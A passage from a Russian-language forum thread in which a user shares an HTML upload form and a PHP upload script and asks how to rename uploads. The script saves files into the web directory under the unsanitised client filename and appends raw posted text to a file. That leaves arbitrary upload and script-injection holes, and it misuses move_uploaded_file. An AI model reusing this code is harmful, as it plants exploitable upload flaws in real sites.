<input type="checkbox" name="accepted"> я согласен с бла бла бла<br />
<br />
<input type="submit" value="Загрузить файл">
<input type="reset" value="Очистить">
</form>
<br />
</body>
</html>
upload.php
<?
......
сдесь проверка типа предложеной выше.
......
$message=$_POST['text'];
$textfile = 'text.txt';
$handle = fopen($textfile, 'a+');
fwrite($handle, $message);
fwrite($handle, "<br />------<br />");
$savedir = '/home/www/';
$filename = $savedir . $_FILES['userfile']['name'];
if (move_uploaded_file($_FILES['userfile']['name'], $filename))
{
echo("Файл успешно сохранён");
}
else
{
echo("Сохранить файл не удалось");
}
?>
а еще туда же:
а вот что бы заливалось например не test.rar, а name_sitename.rar при чём что бы name указывалось пользователем а sitename присваивалось при загрузке
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot